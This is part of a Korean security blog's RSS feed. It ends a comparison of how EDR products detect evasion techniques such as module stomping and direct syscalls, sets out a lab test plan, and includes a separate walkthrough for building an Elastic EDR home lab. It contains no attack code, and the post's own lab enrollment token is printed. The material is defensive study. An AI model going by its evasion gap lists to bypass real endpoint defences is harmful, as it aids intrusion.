&lt;p data-ke-size=&quot;size16&quot;&gt;이번 분석의 가장 중요한 교훈은 &lt;b&gt;어떤 단일 제품도 모든 기법을 탐지하지 못한다&lt;/b&gt;는 것이다. 최고 점수인 CrowdStrike조차 모듈 스톰핑과 파이버 기반 실행에는 공백이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 &lt;b&gt;다계층 방어의 목표는 100% 탐지가 아니라, 공격자의 비용을 높이는 것&lt;/b&gt;이다. 하나의 레이어를 우회하면 다른 레이어에 걸리고, 두 레이어를 우회하면 세 번째에 걸린다. 공격자가 모든 레이어를 우회해야 한다면, 그 비용과 시간은 대부분의 공격 시나리오에서 수지가 맞지 않게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 방어의 핵심은 &lt;b&gt;&quot;뚫리지 않는 벽&quot;이 아니라 &quot;뚫는 비용이 너무 높은 벽&quot;&lt;/b&gt;을 쌓는 것이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;부록&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;부록 A: 제품별 강점/약점 요약&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Microsoft Defender for Endpoint&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;강점&lt;/th&gt;
&lt;th&gt;약점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Credential Guard + PPL 네이티브 통합&lt;/td&gt;
&lt;td&gt;고급 인메모리 우회 기법 (모듈 스톰핑)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ASR 규칙으로 선제적 차단&lt;/td&gt;
&lt;td&gt;직접 시스콜 부분 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SmartScreen 클라우드 평판&lt;/td&gt;
&lt;td&gt;일부 고급 기법에 업데이트 의존&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows 생태계 최적화&lt;/td&gt;
&lt;td&gt;비Windows 환경 미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;E5 라이선스 포함 (추가 비용 없음)&lt;/td&gt;
&lt;td&gt;별도 EDR 대비 커스터마이징 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;CrowdStrike Falcon&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;강점&lt;/th&gt;
&lt;th&gt;약점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;커널 수준 가시성 최우수&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;프리미엄 가격&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IOA 기반 행위 탐지 최강&lt;/td&gt;
&lt;td&gt;오탐(False Positive) 관리 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;직접 시스콜 탐지 가능&lt;/td&gt;
&lt;td&gt;초기 설정 복잡도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identity Protection 모듈&lt;/td&gt;
&lt;td&gt;에이전트 리소스 사용량&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;크로스 플랫폼 (Win/Mac/Linux)&lt;/td&gt;
&lt;td&gt;클라우드 의존도 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;SentinelOne Singularity&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;강점&lt;/th&gt;
&lt;th&gt;약점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ActiveEDR 자동 대응 + 롤백&lt;/td&gt;
&lt;td&gt;직접 시스콜 부분 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Storyline 기술로 공격 체인 연계&lt;/td&gt;
&lt;td&gt;모듈 스톰핑 미탐지 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;행위 AI 엔진&lt;/td&gt;
&lt;td&gt;클라우드 분석 의존도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;자율적 에이전트 (오프라인 동작)&lt;/td&gt;
&lt;td&gt;일부 LoLBin 우회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Elastic Security&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;강점&lt;/th&gt;
&lt;th&gt;약점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;오픈소스 + 무료&lt;/b&gt; 탐지 규칙&lt;/td&gt;
&lt;td&gt;&lt;b&gt;실시간 차단 부재 (기본)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;풍부한 커뮤니티 규칙&lt;/td&gt;
&lt;td&gt;커널 수준 가시성 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EQL 기반 유연한 쿼리&lt;/td&gt;
&lt;td&gt;자동 대응 부족&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;YARA + Osquery 통합&lt;/td&gt;
&lt;td&gt;전문 EDR 대비 탐지 깊이 부족&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;커스터마이징 자유도 최고&lt;/td&gt;
&lt;td&gt;휴리스틱/평판 엔진 약함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Kaspersky Endpoint Security&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;강점&lt;/th&gt;
&lt;th&gt;약점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;시그니처 DB 방대 (알려진 도구 탐지 최강)&lt;/td&gt;
&lt;td&gt;고급 인메모리 기법 대응 지연&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HIPS 규칙 기반 세밀한 제어&lt;/td&gt;
&lt;td&gt;직접 시스콜 부분 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시스템 감시(System Watcher) 롤백&lt;/td&gt;
&lt;td&gt;BSS 패턴 업데이트 의존&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가격 대비 성능 우수&lt;/td&gt;
&lt;td&gt;지정학적 요인으로 일부 환경 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;부록 B: 환경별 제품 배포 권고&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;환경&lt;/th&gt;
&lt;th&gt;권장 조합&lt;/th&gt;
&lt;th&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;엔터프라이즈 (대규모)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;CrowdStrike + Elastic (SIEM)&lt;/td&gt;
&lt;td&gt;최강 탐지 + 로그 분석/커스텀 룰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;중견기업&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Defender (E5) + Sysmon&lt;/td&gt;
&lt;td&gt;비용 효율 + 강력한 예방&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;스타트업/SMB&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;SentinelOne&lt;/td&gt;
&lt;td&gt;자동 대응으로 보안 인력 부담 최소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;예산 제한&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Elastic Security + Sysmon&lt;/td&gt;
&lt;td&gt;무료 + 커스터마이징 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;규정 준수 (국내)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Kaspersky 또는 Defender&lt;/td&gt;
&lt;td&gt;인증/검증 제품&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;최대 보안&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;CrowdStrike + Defender (이중)&lt;/td&gt;
&lt;td&gt;모든 공백 최소화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;부록 C: 실험 환경 및 재현 절차&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 보고서는 문헌 기반 분석입니다. 실증 검증을 원하는 경우 아래 절차를 따라 격리된 환경에서 테스트를 수행하십시오.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;권장 실험 환경&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구성 요소&lt;/th&gt;
&lt;th&gt;권장 사항&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;가상화&lt;/td&gt;
&lt;td&gt;VMware Workstation Pro / Hyper-V (격리 네트워크)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OS&lt;/td&gt;
&lt;td&gt;Windows 10 22H2 / Windows 11 23H2 / Windows Server 2022&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;도구&lt;/td&gt;
&lt;td&gt;Sysmon, Process Monitor, API Monitor, x64dbg, PE-bear&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;네트워크&lt;/td&gt;
&lt;td&gt;격리된 내부 네트워크 (인터넷 차단)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;스냅샷&lt;/td&gt;
&lt;td&gt;각 테스트 전 클린 스냅샷 필수&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;테스트 절차 (방어 검증 목적)&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;Phase 1: 베이스라인 수립
  ├── 클린 OS 설치 + 보안 제품 설치
  ├── Sysmon 구성 배포
  ├── 정상 행위 베이스라인 24시간 수집
  └── 스냅샷 생성

Phase 2: 정적 분석 레이어 테스트
  ├── 알려진 도구 시그니처 탐지 확인
  ├── IAT 기반 탐지 트리거 확인
  ├── 패킹/난독화 적용 후 재테스트
  └── 결과 기록: 탐지 여부, 시점, 알림 내용

Phase 3: 동적 분석 레이어 테스트
  ├── API 호출 시퀀스 모니터링 확인
  ├── 메모리 속성 변경 탐지 확인
  ├── 프로세스 관계 이상 탐지 확인
  └── 결과 기록: 탐지 여부, 시점, 알림 내용

Phase 4: 휴리스틱 레이어 테스트
  ├── 미서명 바이너리 + 인젝션 API 테스트
  ├── 비정상 경로 실행 테스트
  ├── 평판 없는 신규 바이너리 테스트
  └── 결과 기록: 탐지 여부, 시점, 알림 내용

Phase 5: 교차 레이어 상관관계 테스트
  ├── 정적 우회 후 동적 탐지 확인
  ├── 동적 우회 후 정적/휴리스틱 탐지 확인
  ├── 다중 레이어 동시 우회 시나리오
  └── 결과 기록 + 상관관계 매트릭스 작성

Phase 6: 멀티 제품 비교
  ├── 동일 테스트를 각 제품에서 수행
  ├── 탐지 시점, 레이어, 알림 방식 기록
  ├── 제품 간 공백 식별
  └── 최종 비교 매트릭스 작성&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 자료&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/matrices/enterprise/&quot;&gt;MITRE ATT&amp;amp;CK - Enterprise Matrix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1055/&quot;&gt;MITRE ATT&amp;amp;CK - T1055 Process Injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1003/&quot;&gt;MITRE ATT&amp;amp;CK - T1003 OS Credential Dumping&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/elastic/detection-rules&quot;&gt;Elastic Detection Rules Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SwiftOnSecurity/sysmon-config&quot;&gt;Sysmon Configuration Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference&quot;&gt;Microsoft ASR Rules Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Documentation &amp;amp; Blog</category>
      <author>KWAKBUMJUN</author>
      <guid isPermaLink="true">https://reversing-study.tistory.com/95</guid>
      <comments>https://reversing-study.tistory.com/95#entry95comment</comments>
      <pubDate>Sun, 5 Apr 2026 21:26:13 +0900</pubDate>
    </item>
    <item>
      <title>EDR 환경을 직접 구축 후 실습</title>
      <link>https://reversing-study.tistory.com/94</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;EDR 환경을 직접 구축하고 실습하는 프로젝트를 진행해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.xn--hy1b43d247a.com/homelab/edr&quot;&gt;https://www.xn--hy1b43d247a.com/homelab/edr&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 해당 글을 참고하여 edr 설치를 진행했다. 하지만 위의 글은 칼리 리눅스 기반 설치 안내이기 때문에 내 우분투 환경에는 맞지 않았다. 따라서 나는 아래와 같이 설치를 진행하였다.&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;# 1) 기존 충돌 패키지 제거(있으면)
for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do
  sudo apt remove -y $pkg
done

# 2) 패키지 인덱스 갱신
sudo apt update

# 3) 필수 패키지 설치
sudo apt install -y ca-certificates curl gnupg

# 4) Docker GPG 키 등록
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg

# 5) Docker apt 저장소 추가
echo \
  &quot;deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  $(. /etc/os-release &amp;amp;&amp;amp; echo &quot;${UBUNTU_CODENAME:-$VERSION_CODENAME}&quot;) stable&quot; | \
  sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null

# 6) 저장소 반영
sudo apt update

# 7) Docker 설치
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

# 8) 나머지 유틸 설치
sudo apt install -y jq git curl&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ubuntu 환경에서 EDR 실습을 진행하고 싶은 사람은 위의 install 방법을 참고하면 좋을 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필요한 패키지를 설치한 후에&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;sudo git clone https://github.com/peasead/elastic-container.git
cd ./elastic-container

# ELASTIC_PASSWORD와 KIBANA_PASSWWORD를 changeme에서 다른 문자열로 바꾼다.
sudo vim ./.env 

sudo ./elastic-container.sh start &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 도커를 실행 시켜준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1597&quot; data-origin-height=&quot;1130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AbhBI/dJMcagZfO8W/FNqEAlz5AXsW7TvGHMNvi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AbhBI/dJMcagZfO8W/FNqEAlz5AXsW7TvGHMNvi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AbhBI/dJMcagZfO8W/FNqEAlz5AXsW7TvGHMNvi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAbhBI%2FdJMcagZfO8W%2FFNqEAlz5AXsW7TvGHMNvi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1597&quot; height=&quot;1130&quot; data-origin-width=&quot;1597&quot; data-origin-height=&quot;1130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;성공적으로 세팅이 된 것을 확인할 수 있고, 이제 &lt;a href=&quot;http://localhost&quot;&gt;localhost&lt;/a&gt;:5601에 가서 edr 세팅을 해주면 된다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-9.0.8-windows-x86_64.zip -OutFile elastic-agent-9.0.8-windows-x86_64.zip 
Expand-Archive .\elastic-agent-9.0.8-windows-x86_64.zip -DestinationPath .
cd elastic-agent-9.0.8-windows-x86_64
.\elastic-agent.exe install --url=https://10.0.2.15:8220 --enrollment-token=YVM2WVBwMEI3bXhBQmdXdkYtOU06TGs2VjE2MDVKRkgzNGxHVktJQlRxZw==&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kibana에 들어가서 윈도우 agent를 확인하면 위처럼 명령어를 준다. 해당 명령어를 윈도우 박스에서 그대로 실행해주고 rules를 확인해보면 아래와 같이 경고가 뜬 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1215&quot; data-origin-height=&quot;1019&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/divGQ4/dJMcadalwDU/qhOdHbgKKyRhNj5jQ3WszK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/divGQ4/dJMcadalwDU/qhOdHbgKKyRhNj5jQ3WszK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/divGQ4/dJMcadalwDU/qhOdHbgKKyRhNj5jQ3WszK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdivGQ4%2FdJMcadalwDU%2FqhOdHbgKKyRhNj5jQ3WszK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1215&quot; height=&quot;1019&quot; data-origin-width=&quot;1215&quot; data-origin-height=&quot;1019&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Develop &amp;amp; OpenSource</category>
      <author>KWAKBUMJUN</author>
      <guid isPermaLink="true">https://reversing-study.tistory.com/94</guid>
      <comments>https://reversing-study.tistory.com/94#entry94comment</comments>
      <pubDate>Mon, 30 Mar 2026 21:45:07 +0900</pubDate>
    </item>
  </channel>
</rss>